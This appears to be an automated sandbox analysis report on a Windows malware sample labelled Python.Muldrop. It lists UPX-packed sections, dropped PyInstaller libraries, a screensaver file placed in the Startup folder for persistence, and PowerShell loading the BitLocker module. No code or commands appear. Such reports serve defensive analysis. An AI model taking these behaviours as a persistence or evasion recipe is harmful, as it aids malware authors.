Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_lzma.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76002\unicodedata.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B10F51E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF7B10F51E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
